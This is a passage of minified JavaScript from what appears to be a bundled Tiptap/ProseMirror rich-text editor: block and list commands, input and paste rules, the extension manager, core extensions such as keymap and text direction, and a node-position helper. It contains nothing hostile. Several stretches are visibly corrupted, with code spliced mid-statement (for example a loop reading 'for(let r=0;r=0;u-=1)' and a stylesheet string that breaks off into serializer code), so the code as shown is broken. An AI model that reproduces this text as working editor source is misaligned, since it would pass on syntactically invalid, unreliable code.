e=="number"?(o=e,c=e):e&&"from"in e&&"to"in e?(o=e.from,c=e.to):(o=i.from,c=i.to),a&&n.doc.nodesBetween(o,c,(u,h)=>{u.isText||n.setNodeMarkup(h,void 0,{...u.attrs,dir:t})}),!0},s6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,{from:a,to:i}=typeof t=="number"?{from:t,to:t}:t,o=Ze.atStart(r).from,c=Ze.atEnd(r).to,u=io(a,o,c),h=io(i,o,c),f=Ze.create(r,u,h);e.setSelection(f)}return!0},a6=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return XO(r)(e,n)};function vN(t,e){const n=t.storedMarks||t.selection.$to.parentOffset&&t.selection.$from.marks();if(n){const r=n.filter(a=>e==null?void 0:e.includes(a.type.name));t.tr.ensureMarks(r)}}var i6=({keepMarks:t=!0}={})=>({tr:e,state:n,dispatch:r,editor:a})=>{const{selection:i,doc:o}=e,{$from:c,$to:u}=i,h=a.extensionManager.attributes,f=nh(h,c.node().type.name,c.node().attrs);if(i instanceof Xe&&i.node.isBlock)return!c.parentOffset||!ja(o,c.pos)?!1:(r&&(t&&vN(n,a.extensionManager.splittableMarks),e.split(c.pos).scrollIntoView()),!0);if(!c.parent.isBlock)return!1;const m=u.parentOffset===u.parent.content.size,g=c.depth===0?void 0:O8(c.node(-1).contentMatchAt(c.indexAfter(-1)));let y=m&&g?[{type:g,attrs:f}]:void 0,N=ja(e.doc,e.mapping.map(c.pos),1,y);if(!y&&!N&&ja(e.doc,e.mapping.map(c.pos),1,g?[{type:g}]:void 0)&&(N=!0,y=g?[{type:g,attrs:f}]:void 0),r){if(N&&(i instanceof Ze&&e.deleteSelection(),e.split(e.mapping.map(c.pos),1,y),g&&!m&&!c.parentOffset&&c.parent.type!==g)){const w=e.mapping.map(c.before()),v=e.doc.resolve(w);c.node(-1).canReplaceWith(v.index(),v.index()+1,g)&&e.setNodeMarkup(e.mapping.map(c.before()),g)}t&&vN(n,a.extensionManager.splittableMarks),e.scrollIntoView()}return N},o6=(t,e={})=>({tr:n,state:r,dispatch:a,editor:i})=>{var o;const c=Sn(t,r.schema),{$from:u,$to:h}=r.selection,f=r.selection.node;if(f&&f.isBlock||u.depth<2||!u.sameParent(h))return!1;const m=u.node(-1);if(m.type!==c)return!1;const g=i.extensionManager.attributes;if(u.parent.content.size===0&&u.node(-1).childCount===u.indexAfter(-1)){if(u.depth===2||u.node(-3).type!==c||u.index(-2)!==u.node(-2).childCount-1)return!1;if(a){let k=be.empty;const C=u.index(-1)?1:u.index(-2)?2:3;for(let R=u.depth-C;R>=u.depth-3;R-=1)k=be.from(u.node(R).copy(k));const E=u.indexAfter(-1){if(L>-1)return!1;R.isTextblock&&R.content.size===0&&(L=D+1)}),L>-1&&n.setSelection(Ze.near(n.doc.resolve(L))),n.scrollIntoView()}return!0}const y=h.pos===u.end()?m.contentMatchAt(0).defaultType:null,N={...nh(g,m.type.name,m.attrs),...e},w={...nh(g,u.node().type.name,u.node().attrs),...e};n.delete(u.pos,h.pos);const v=y?[{type:c,attrs:N},{type:y,attrs:w}]:[{type:c,attrs:N}];if(!ja(n.doc,u.pos,2))return!1;if(a){const{selection:k,storedMarks:C}=r,{splittableMarks:E}=i.extensionManager,T=C||k.$to.parentOffset&&k.$from.marks();if(n.split(u.pos,2,v).scrollIntoView(),!T||!a)return!0;const I=T.filter(O=>E.includes(O.type.name));n.ensureMarks(I)}return!0},sg=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(Math.max(0,n.pos-1)).before(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,n.pos)&&t.join(n.pos),!0},ag=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(n.start).after(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,r)&&t.join(r),!0},l6=(t,e,n,r={})=>({editor:a,tr:i,state:o,dispatch:c,chain:u,commands:h,can:f})=>{const{extensions:m,splittableMarks:g}=a.extensionManager,y=Sn(t,o.schema),N=Sn(e,o.schema),{selection:w,storedMarks:v}=o,{$from:k,$to:C}=w,E=k.blockRange(C),T=v||w.$to.parentOffset&&w.$from.marks();if(!E)return!1;const I=Pf(O=>bN(O.type.name,m))(w);if(E.depth>=1&&I&&E.depth-I.depth<=1){if(I.node.type===y)return h.liftListItem(N);if(bN(I.node.type.name,m)&&y.validContent(I.node.content)&&c)return u().command(()=>(i.setNodeMarkup(I.pos,y),!0)).command(()=>sg(i,y)).command(()=>ag(i,y)).run()}return!n||!T||!c?u().command(()=>f().wrapInList(y,r)?!0:h.clearNodes()).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run():u().command(()=>{const O=f().wrapInList(y,r),L=T.filter(R=>g.includes(R.type.name));return i.ensureMarks(L),O?!0:h.clearNodes()}).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run()},c6=(t,e={},n={})=>({state:r,commands:a})=>{const{extendEmptyMarkRange:i=!1}=n,o=Ta(t,r.schema);return ox(r,o,e)?a.unsetMark(o,{extendEmptyMarkRange:i}):a.setMark(o,e)},d6=(t,e,n={})=>({state:r,commands:a})=>{const i=Sn(t,r.schema),o=Sn(e,r.schema),c=Ni(r,i,n);let u;return r.selection.$anchor.sameParent(r.selection.$head)&&(u=r.selection.$anchor.parent.attrs),c?a.setNode(o,u):a.setNode(i,{...u,...n})},u6=(t,e={})=>({state:n,commands:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?r.lift(a):r.wrapIn(a,e)},h6=()=>({state:t,dispatch:e})=>{const n=t.plugins;for(let r=0;r=0;u-=1)o.step(c.steps[u].invert(c.docs[u]));if(i.text){const u=o.doc.resolve(i.from).marks();o.replaceWith(i.from,i.to,t.schema.text(i.text,u))}else o.delete(i.from,i.to)}return!0}}return!1},f6=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,{empty:r,ranges:a}=n;return r||e&&a.forEach(i=>{t.removeMark(i.$from.pos,i.$to.pos)}),!0},p6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{var i;const{extendEmptyMarkRange:o=!1}=e,{selection:c}=n,u=Ta(t,r.schema),{$from:h,empty:f,ranges:m}=c;if(!a)return!0;if(f&&o){let{from:g,to:y}=c;const N=(i=h.marks().find(v=>v.type===u))==null?void 0:i.attrs,w=E0(h,u,N);w&&(g=w.from,y=w.to),n.removeMark(g,y,u)}else m.forEach(g=>{n.removeMark(g.$from.pos,g.$to.pos,u)});return n.removeStoredMark(u),!0},m6=t=>({tr:e,state:n,dispatch:r})=>{const{selection:a}=n;let i,o;return typeof t=="number"?(i=t,o=t):t&&"from"in t&&"to"in t?(i=t.from,o=t.to):(i=a.from,o=a.to),r&&e.doc.nodesBetween(i,o,(c,u)=>{if(c.isText)return;const h={...c.attrs};delete h.dir,e.setNodeMarkup(u,void 0,h)}),!0},g6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;let g,y,N,w;n.selection.empty?r.doc.nodesBetween(f,m,(v,k)=>{i&&i===v.type&&(u=!0,N=Math.max(k,f),w=Math.min(k+v.nodeSize,m),g=k,y=v)}):r.doc.nodesBetween(f,m,(v,k)=>{k=f&&k<=m&&(i&&i===v.type&&(u=!0,a&&n.setNodeMarkup(k,void 0,{...v.attrs,...e})),o&&v.marks.length&&v.marks.forEach(C=>{if(o===C.type&&(u=!0,a)){const E=Math.max(k,f),T=Math.min(k+v.nodeSize,m);n.addMark(E,T,o.create({...C.attrs,...e}))}}))}),y&&(g!==void 0&&a&&n.setNodeMarkup(g,void 0,{...y.attrs,...e}),o&&y.marks.length&&y.marks.forEach(v=>{o===v.type&&a&&n.addMark(N,w,o.create({...v.attrs,...e}))}))}),u},x6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return UO(a,e)(n,r)},y6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return KO(a,e)(n,r)},b6=class{constructor(){this.callbacks={}}on(t,e){return this.callbacks[t]||(this.callbacks[t]=[]),this.callbacks[t].push(e),this}emit(t,...e){const n=this.callbacks[t];return n&&n.forEach(r=>r.apply(this,e)),this}off(t,e){const n=this.callbacks[t];return n&&(e?this.callbacks[t]=n.filter(r=>r!==e):delete this.callbacks[t]),this}once(t,e){const n=(...r)=>{this.off(t,n),e.apply(this,r)};return this.on(t,n)}removeAllListeners(){this.callbacks={}}},Df=class{constructor(t){var e;this.find=t.find,this.handler=t.handler,this.undoable=(e=t.undoable)!=null?e:!0}},v6=(t,e)=>{if(C0(e))return e.exec(t);const n=e(t);if(!n)return null;const r=[n.text];return r.index=n.index,r.input=t,r.data=n.data,n.replaceWith&&(n.text.includes(n.replaceWith)||console.warn('[tiptap warn]: "inputRuleMatch.replaceWith" must be part of "inputRuleMatch.text".'),r.push(n.replaceWith)),r};function $u(t){var e;const{editor:n,from:r,to:a,text:i,rules:o,plugin:c}=t,{view:u}=n;if(u.composing)return!1;const h=u.state.doc.resolve(r);if(h.parent.type.spec.code||(e=h.nodeBefore||h.nodeAfter)!=null&&e.marks.find(g=>g.type.spec.code))return!1;let f=!1;const m=K8(h)+i;return o.forEach(g=>{if(f)return;const y=v6(m,g.find);if(!y)return;const N=u.state.tr,w=Af({state:u.state,transaction:N}),v={from:r-(y[0].length-i.length),to:a},{commands:k,chain:C,can:E}=new If({editor:n,state:w});g.handler({state:w,range:v,match:y,commands:k,chain:C,can:E})===null||!N.steps.length||(g.undoable&&N.setMeta(c,{transform:N,from:r,to:a,text:i}),u.dispatch(N),f=!0)}),f}function N6(t){const{editor:e,rules:n}=t,r=new Kt({state:{init(){return null},apply(a,i,o){const c=a.getMeta(r);if(c)return c;const u=a.getMeta("applyInputRules");return!!u&&setTimeout(()=>{let{text:f}=u;typeof f=="string"?f=f:f=M0(be.from(f),o.schema);const{from:m}=u,g=m+f.length;$u({editor:e,from:m,to:g,text:f,rules:n,plugin:r})}),a.selectionSet||a.docChanged?null:i}},props:{handleTextInput(a,i,o,c){return $u({editor:e,from:i,to:o,text:c,rules:n,plugin:r})},handleDOMEvents:{compositionend:a=>(setTimeout(()=>{const{$cursor:i}=a.state.selection;i&&$u({editor:e,from:i.pos,to:i.pos,text:"",rules:n,plugin:r})}),!1)},handleKeyDown(a,i){if(i.key!=="Enter")return!1;const{$cursor:o}=a.state.selection;return o?$u({editor:e,from:o.pos,to:o.pos,text:` -`,rules:n,plugin:r}):!1}},isInputRules:!0});return r}function w6(t){return Object.prototype.toString.call(t).slice(8,-1)}function Fu(t){return w6(t)!=="Object"?!1:t.constructor===Object&&Object.getPrototypeOf(t)===Object.prototype}function P2(t,e){const n={...t};return Fu(t)&&Fu(e)&&Object.keys(e).forEach(r=>{Fu(e[r])&&Fu(t[r])?n[r]=P2(t[r],e[r]):n[r]=e[r]}),n}var I0=class{constructor(t={}){this.type="extendable",this.parent=null,this.child=null,this.name="",this.config={name:this.name},this.config={...this.config,...t},this.name=this.config.name}get options(){return{...jt(Ue(this,"addOptions",{name:this.name}))||{}}}get storage(){return{...jt(Ue(this,"addStorage",{name:this.name,options:this.options}))||{}}}configure(t={}){const e=this.extend({...this.config,addOptions:()=>P2(this.options,t)});return e.name=this.name,e.parent=this.parent,e}extend(t={}){const e=new this.constructor({...this.config,...t});return e.parent=this,this.child=e,e.name="name"in t?t.name:e.parent.name,e}},Ao=class O2 extends I0{constructor(){super(...arguments),this.type="mark"}static create(e={}){const n=typeof e=="function"?e():e;return new O2(n)}static handleExit({editor:e,mark:n}){const{tr:r}=e.state,a=e.state.selection.$from;if(a.pos===a.end()){const o=a.marks();if(!!!o.find(h=>(h==null?void 0:h.type.name)===n.name))return!1;const u=o.find(h=>(h==null?void 0:h.type.name)===n.name);return u&&r.removeStoredMark(u),r.insertText(" ",a.pos),e.view.dispatch(r),!0}return!1}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}};function j6(t){return typeof t=="number"}var k6=class{constructor(t){this.find=t.find,this.handler=t.handler}},S6=(t,e,n)=>{if(C0(e))return[...t.matchAll(e)];const r=e(t,n);return r?r.map(a=>{const i=[a.text];return i.index=a.index,i.input=t,i.data=a.data,a.replaceWith&&(a.text.includes(a.replaceWith)||console.warn('[tiptap warn]: "pasteRuleMatch.replaceWith" must be part of "pasteRuleMatch.text".'),i.push(a.replaceWith)),i}):[]};function C6(t){const{editor:e,state:n,from:r,to:a,rule:i,pasteEvent:o,dropEvent:c}=t,{commands:u,chain:h,can:f}=new If({editor:e,state:n}),m=[];return n.doc.nodesBetween(r,a,(y,N)=>{var w,v,k,C,E;if((v=(w=y.type)==null?void 0:w.spec)!=null&&v.code||!(y.isText||y.isTextblock||y.isInline))return;const T=(E=(C=(k=y.content)==null?void 0:k.size)!=null?C:y.nodeSize)!=null?E:0,I=Math.max(r,N),O=Math.min(a,N+T);if(I>=O)return;const L=y.isText?y.text||"":y.textBetween(I-N,O-N,void 0,"");S6(L,i.find,o).forEach(D=>{if(D.index===void 0)return;const _=I+D.index+1,Z=_+D[0].length,ne={from:n.tr.mapping.map(_),to:n.tr.mapping.map(Z)},fe=i.handler({state:n,range:ne,match:D,commands:u,chain:h,can:f,pasteEvent:o,dropEvent:c});m.push(fe)})}),m.every(y=>y!==null)}var Bu=null,E6=t=>{var e;const n=new ClipboardEvent("paste",{clipboardData:new DataTransfer});return(e=n.clipboardData)==null||e.setData("text/html",t),n};function T6(t){const{editor:e,rules:n}=t;let r=null,a=!1,i=!1,o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,c;try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}const u=({state:f,from:m,to:g,rule:y,pasteEvt:N})=>{const w=f.tr,v=Af({state:f,transaction:w});if(!(!C6({editor:e,state:v,from:Math.max(m-1,0),to:g.b-1,rule:y,pasteEvent:N,dropEvent:c})||!w.steps.length)){try{c=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{c=null}return o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,w}};return n.map(f=>new Kt({view(m){const g=N=>{var w;r=(w=m.dom.parentElement)!=null&&w.contains(N.target)?m.dom.parentElement:null,r&&(Bu=e)},y=()=>{Bu&&(Bu=null)};return window.addEventListener("dragstart",g),window.addEventListener("dragend",y),{destroy(){window.removeEventListener("dragstart",g),window.removeEventListener("dragend",y)}}},props:{handleDOMEvents:{drop:(m,g)=>{if(i=r===m.dom.parentElement,c=g,!i){const y=Bu;y!=null&&y.isEditable&&setTimeout(()=>{const N=y.state.selection;N&&y.commands.deleteRange({from:N.from,to:N.to})},10)}return!1},paste:(m,g)=>{var y;const N=(y=g.clipboardData)==null?void 0:y.getData("text/html");return o=g,a=!!(N!=null&&N.includes("data-pm-slice")),!1}}},appendTransaction:(m,g,y)=>{const N=m[0],w=N.getMeta("uiEvent")==="paste"&&!a,v=N.getMeta("uiEvent")==="drop"&&!i,k=N.getMeta("applyPasteRules"),C=!!k;if(!w&&!v&&!C)return;if(C){let{text:I}=k;typeof I=="string"?I=I:I=M0(be.from(I),y.schema);const{from:O}=k,L=O+I.length,R=E6(I);return u({rule:f,state:y,from:O,to:{b:L},pasteEvt:R})}const E=g.doc.content.findDiffStart(y.doc.content),T=g.doc.content.findDiffEnd(y.doc.content);if(!(!j6(E)||!T||E===T.b))return u({rule:f,state:y,from:E,to:T,pasteEvt:o})}}))}var Lf=class{constructor(t,e){this.splittableMarks=[],this.editor=e,this.baseExtensions=t,this.extensions=S2(t),this.schema=$8(this.extensions,e),this.setupExtensions()}get commands(){return this.extensions.reduce((t,e)=>{const n={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)},r=Ue(e,"addCommands",n);return r?{...t,...r()}:t},{})}get plugins(){const{editor:t}=this;return Wc([...this.extensions].reverse()).flatMap(r=>{const a={name:r.name,options:r.options,storage:this.editor.extensionStorage[r.name],editor:t,type:Ec(r.name,this.schema)},i=[],o=Ue(r,"addKeyboardShortcuts",a);let c={};if(r.type==="mark"&&Ue(r,"exitable",a)&&(c.ArrowRight=()=>Ao.handleExit({editor:t,mark:r})),o){const g=Object.fromEntries(Object.entries(o()).map(([y,N])=>[y,()=>N({editor:t})]));c={...c,...g}}const u=VL(c);i.push(u);const h=Ue(r,"addInputRules",a);if(yN(r,t.options.enableInputRules)&&h){const g=h();if(g&&g.length){const y=N6({editor:t,rules:g}),N=Array.isArray(y)?y:[y];i.push(...N)}}const f=Ue(r,"addPasteRules",a);if(yN(r,t.options.enablePasteRules)&&f){const g=f();if(g&&g.length){const y=T6({editor:t,rules:g});i.push(...y)}}const m=Ue(r,"addProseMirrorPlugins",a);if(m){const g=m();i.push(...g)}return i})}get attributes(){return k2(this.extensions)}get nodeViews(){const{editor:t}=this,{nodeExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ue(n,"addNodeView")).map(n=>{const r=this.attributes.filter(u=>u.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Sn(n.name,this.schema)},i=Ue(n,"addNodeView",a);if(!i)return[];const o=i();if(!o)return[];const c=(u,h,f,m,g)=>{const y=cd(u,r);return o({node:u,view:h,getPos:f,decorations:m,innerDecorations:g,editor:t,extension:n,HTMLAttributes:y})};return[n.name,c]}))}dispatchTransaction(t){const{editor:e}=this;return Wc([...this.extensions].reverse()).reduceRight((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ue(a,"dispatchTransaction",i);return o?c=>{o.call(i,{transaction:c,next:r})}:r},t)}transformPastedHTML(t){const{editor:e}=this;return Wc([...this.extensions]).reduce((r,a)=>{const i={name:a.name,options:a.options,storage:this.editor.extensionStorage[a.name],editor:e,type:Ec(a.name,this.schema)},o=Ue(a,"transformPastedHTML",i);return o?(c,u)=>{const h=r(c,u);return o.call(i,h)}:r},t||(r=>r))}get markViews(){const{editor:t}=this,{markExtensions:e}=Tl(this.extensions);return Object.fromEntries(e.filter(n=>!!Ue(n,"addMarkView")).map(n=>{const r=this.attributes.filter(c=>c.type===n.name),a={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:t,type:Ta(n.name,this.schema)},i=Ue(n,"addMarkView",a);if(!i)return[];const o=(c,u,h)=>{const f=cd(c,r);return i()({mark:c,view:u,inline:h,editor:t,extension:n,HTMLAttributes:f,updateAttributes:m=>{H6(c,t,m)}})};return[n.name,o]}))}setupExtensions(){const t=this.extensions;this.editor.extensionStorage=Object.fromEntries(t.map(e=>[e.name,e.storage])),t.forEach(e=>{var n;const r={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Ec(e.name,this.schema)};e.type==="mark"&&((n=jt(Ue(e,"keepOnSplit",r)))==null||n)&&this.splittableMarks.push(e.name);const a=Ue(e,"onBeforeCreate",r),i=Ue(e,"onCreate",r),o=Ue(e,"onUpdate",r),c=Ue(e,"onSelectionUpdate",r),u=Ue(e,"onTransaction",r),h=Ue(e,"onFocus",r),f=Ue(e,"onBlur",r),m=Ue(e,"onDestroy",r);a&&this.editor.on("beforeCreate",a),i&&this.editor.on("create",i),o&&this.editor.on("update",o),c&&this.editor.on("selectionUpdate",c),u&&this.editor.on("transaction",u),h&&this.editor.on("focus",h),f&&this.editor.on("blur",f),m&&this.editor.on("destroy",m)})}};Lf.resolve=S2;Lf.sort=Wc;Lf.flatten=T0;var M6={};S0(M6,{ClipboardTextSerializer:()=>L2,Commands:()=>_2,Delete:()=>z2,Drop:()=>$2,Editable:()=>F2,FocusEvents:()=>V2,Keymap:()=>H2,Paste:()=>W2,Tabindex:()=>U2,TextDirection:()=>K2,focusEventsPluginKey:()=>B2});var mn=class D2 extends I0{constructor(){super(...arguments),this.type="extension"}static create(e={}){const n=typeof e=="function"?e():e;return new D2(n)}configure(e){return super.configure(e)}extend(e){const n=typeof e=="function"?e():e;return super.extend(n)}},L2=mn.create({name:"clipboardTextSerializer",addOptions(){return{blockSeparator:void 0}},addProseMirrorPlugins(){return[new Kt({key:new tn("clipboardTextSerializer"),props:{clipboardTextSerializer:()=>{const{editor:t}=this,{state:e,schema:n}=t,{doc:r,selection:a}=e,{ranges:i}=a,o=Math.min(...i.map(f=>f.$from.pos)),c=Math.max(...i.map(f=>f.$to.pos)),u=E2(n);return C2(r,{from:o,to:c},{...this.options.blockSeparator!==void 0?{blockSeparator:this.options.blockSeparator}:{},textSerializers:u})}}})]}}),_2=mn.create({name:"commands",addCommands(){return{...p2}}}),z2=mn.create({name:"delete",onUpdate({transaction:t,appendedTransactions:e}){var n,r,a;const i=()=>{var o,c,u,h;if((h=(u=(c=(o=this.editor.options.coreExtensionOptions)==null?void 0:o.delete)==null?void 0:c.filterTransaction)==null?void 0:u.call(c,t))!=null?h:t.getMeta("y-sync$"))return;const f=N2(t.before,[t,...e]);M2(f).forEach(y=>{f.mapping.mapResult(y.oldRange.from).deletedAfter&&f.mapping.mapResult(y.oldRange.to).deletedBefore&&f.before.nodesBetween(y.oldRange.from,y.oldRange.to,(N,w)=>{const v=w+N.nodeSize-2,k=y.oldRange.from<=w&&v<=y.oldRange.to;this.editor.emit("delete",{type:"node",node:N,from:w,to:v,newFrom:f.mapping.map(w),newTo:f.mapping.map(v),deletedRange:y.oldRange,newRange:y.newRange,partial:!k,editor:this.editor,transaction:t,combinedTransform:f})})});const g=f.mapping;f.steps.forEach((y,N)=>{var w,v;if(y instanceof ks){const k=g.slice(N).map(y.from,-1),C=g.slice(N).map(y.to),E=g.invert().map(k,-1),T=g.invert().map(C),I=(w=f.doc.nodeAt(k-1))==null?void 0:w.marks.some(L=>L.eq(y.mark)),O=(v=f.doc.nodeAt(C))==null?void 0:v.marks.some(L=>L.eq(y.mark));this.editor.emit("delete",{type:"mark",mark:y.mark,from:y.from,to:y.to,deletedRange:{from:E,to:T},newRange:{from:k,to:C},partial:!!(O||I),editor:this.editor,transaction:t,combinedTransform:f})}})};(a=(r=(n=this.editor.options.coreExtensionOptions)==null?void 0:n.delete)==null?void 0:r.async)==null||a?setTimeout(i,0):i()}}),$2=mn.create({name:"drop",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapDrop"),props:{handleDrop:(t,e,n,r)=>{this.editor.emit("drop",{editor:this.editor,event:e,slice:n,moved:r})}}})]}}),F2=mn.create({name:"editable",addProseMirrorPlugins(){return[new Kt({key:new tn("editable"),props:{editable:()=>this.editor.options.editable}})]}}),B2=new tn("focusEvents"),V2=mn.create({name:"focusEvents",addProseMirrorPlugins(){const{editor:t}=this;return[new Kt({key:B2,props:{handleDOMEvents:{focus:(e,n)=>{t.isFocused=!0;const r=t.state.tr.setMeta("focus",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1},blur:(e,n)=>{t.isFocused=!1;const r=t.state.tr.setMeta("blur",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1}}}})]}}),H2=mn.create({name:"keymap",addKeyboardShortcuts(){const t=()=>this.editor.commands.first(({commands:o})=>[()=>o.undoInputRule(),()=>o.command(({tr:c})=>{const{selection:u,doc:h}=c,{empty:f,$anchor:m}=u,{pos:g,parent:y}=m,N=m.parent.isTextblock&&g>0?c.doc.resolve(g-1):m,w=N.parent.type.spec.isolating,v=m.pos-m.parentOffset,k=w&&N.parent.childCount===1?v===m.pos:rt.atStart(h).from===g;return!f||!y.type.isTextblock||y.textContent.length||!k||k&&m.parent.type.name==="paragraph"?!1:o.clearNodes()}),()=>o.deleteSelection(),()=>o.joinBackward(),()=>o.selectNodeBackward()]),e=()=>this.editor.commands.first(({commands:o})=>[()=>o.deleteSelection(),()=>o.deleteCurrentNode(),()=>o.joinForward(),()=>o.selectNodeForward()]),r={Enter:()=>this.editor.commands.first(({commands:o})=>[()=>o.newlineInCode(),()=>o.createParagraphNear(),()=>o.liftEmptyBlock(),()=>o.splitBlock()]),"Mod-Enter":()=>this.editor.commands.exitCode(),Backspace:t,"Mod-Backspace":t,"Shift-Backspace":t,Delete:e,"Mod-Delete":e,"Mod-a":()=>this.editor.commands.selectAll()},a={...r},i={...r,"Ctrl-h":t,"Alt-Backspace":t,"Ctrl-d":e,"Ctrl-Alt-Backspace":e,"Alt-Delete":e,"Alt-d":e,"Ctrl-a":()=>this.editor.commands.selectTextblockStart(),"Ctrl-e":()=>this.editor.commands.selectTextblockEnd()};return Th()||b2()?i:a},addProseMirrorPlugins(){return[new Kt({key:new tn("clearDocument"),appendTransaction:(t,e,n)=>{if(t.some(w=>w.getMeta("composition")))return;const r=t.some(w=>w.docChanged)&&!e.doc.eq(n.doc),a=t.some(w=>w.getMeta("preventClearDocument"));if(!r||a)return;const{empty:i,from:o,to:c}=e.selection,u=rt.atStart(e.doc).from,h=rt.atEnd(e.doc).to;if(i||!(o===u&&c===h)||!Of(n.doc))return;const g=n.tr,y=Af({state:n,transaction:g}),{commands:N}=new If({editor:this.editor,state:y});if(N.clearNodes(),!!g.steps.length)return g}})]}}),W2=mn.create({name:"paste",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapPaste"),props:{handlePaste:(t,e,n)=>{this.editor.emit("paste",{editor:this.editor,event:e,slice:n})}}})]}}),U2=mn.create({name:"tabindex",addProseMirrorPlugins(){return[new Kt({key:new tn("tabindex"),props:{attributes:()=>this.editor.isEditable?{tabindex:"0"}:{}}})]}}),K2=mn.create({name:"textDirection",addOptions(){return{direction:void 0}},addGlobalAttributes(){if(!this.options.direction)return[];const{nodeExtensions:t}=Tl(this.extensions);return[{types:t.filter(e=>e.name!=="text").map(e=>e.name),attributes:{dir:{default:this.options.direction,parseHTML:e=>{const n=e.getAttribute("dir");return n&&(n==="ltr"||n==="rtl"||n==="auto")?n:this.options.direction},renderHTML:e=>e.dir?{dir:e.dir}:{}}}}]},addProseMirrorPlugins(){return[new Kt({key:new tn("textDirection"),props:{attributes:()=>{const t=this.options.direction;return t?{dir:t}:{}}}})]}}),A6=class Pc{constructor(e,n,r=!1,a=null){this.currentNode=null,this.actualDepth=null,this.isBlock=r,this.resolvedPos=e,this.editor=n,this.currentNode=a}get name(){return this.node.type.name}get node(){return this.currentNode||this.resolvedPos.node()}get element(){return this.editor.view.domAtPos(this.pos).node}get depth(){var e;return(e=this.actualDepth)!=null?e:this.resolvedPos.depth}get pos(){return this.resolvedPos.pos}get content(){return this.node.content}set content(e){let n=this.from,r=this.to;if(this.isBlock){if(this.content.size===0){console.error(`You can’t set content on a block node. Tried to set content on ${this.name} at ${this.pos}`);return}n=this.from+1,r=this.to-1}this.editor.commands.insertContentAt({from:n,to:r},e)}get attributes(){return this.node.attrs}get textContent(){return this.node.textContent}get size(){return this.node.nodeSize}get from(){return this.isBlock?this.pos:this.resolvedPos.start(this.resolvedPos.depth)}get range(){return{from:this.from,to:this.to}}get to(){return this.isBlock?this.pos+this.size:this.resolvedPos.end(this.resolvedPos.depth)+(this.node.isText?0:1)}get parent(){if(this.depth===0)return null;const e=this.resolvedPos.start(this.resolvedPos.depth-1),n=this.resolvedPos.doc.resolve(e);return new Pc(n,this.editor)}get before(){let e=this.resolvedPos.doc.resolve(this.from-(this.isBlock?1:2));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.from-3)),new Pc(e,this.editor)}get after(){let e=this.resolvedPos.doc.resolve(this.to+(this.isBlock?2:1));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.to+3)),new Pc(e,this.editor)}get children(){const e=[];return this.node.content.forEach((n,r)=>{const a=n.isBlock&&!n.isTextblock,i=n.isAtom&&!n.isText,o=n.isInline,c=this.pos+r+(i?0:1);if(c<0||c>this.resolvedPos.doc.nodeSize-2)return;const u=this.resolvedPos.doc.resolve(c);if(!a&&!o&&u.depth<=this.depth)return;const h=new Pc(u,this.editor,a,a||o?n:null);a&&(h.actualDepth=this.depth+1),e.push(h)}),e}get firstChild(){return this.children[0]||null}get lastChild(){const e=this.children;return e[e.length-1]||null}closest(e,n={}){let r=null,a=this.parent;for(;a&&!r;){if(a.node.type.name===e)if(Object.keys(n).length>0){const i=a.node.attrs,o=Object.keys(n);for(let c=0;c{r&&a.length>0||(o.node.type.name===e&&i.every(u=>n[u]===o.node.attrs[u])&&a.push(o),!(r&&a.length>0)&&(a=a.concat(o.querySelectorAll(e,n,r))))}),a}setAttribute(e){const{tr:n}=this.editor.state;n.setNodeMarkup(this.from,void 0,{...this.node.attrs,...e}),this.editor.view.dispatch(n)}},I6=`.ProseMirror { +`,textSerializers:o={}}=n||{};let c="";return t.nodesBetween(r,a,(u,h,f,m)=>{var g;u.isBlock&&h>r&&(c+=i);const y=o==null?void 0:o[u.type.name];if(y)return f&&(c+=y({node:u,pos:h,parent:f,index:m,range:e})),!1;u.isText&&(c+=(g=u==null?void 0:u.text)==null?void 0:g.slice(Math.max(r,h)-h,a-h))}),c}function B8(t,e){const n={from:0,to:t.content.size};return C2(t,n,e)}function E2(t){return Object.fromEntries(Object.entries(t.nodes).filter(([,e])=>e.spec.toText).map(([e,n])=>[e,n.spec.toText]))}function V8(t,e){const n=Sn(e,t.schema),{from:r,to:a}=t.selection,i=[];t.doc.nodesBetween(r,a,c=>{i.push(c)});const o=i.reverse().find(c=>c.type.name===n.name);return o?{...o.attrs}:{}}function T2(t,e){const 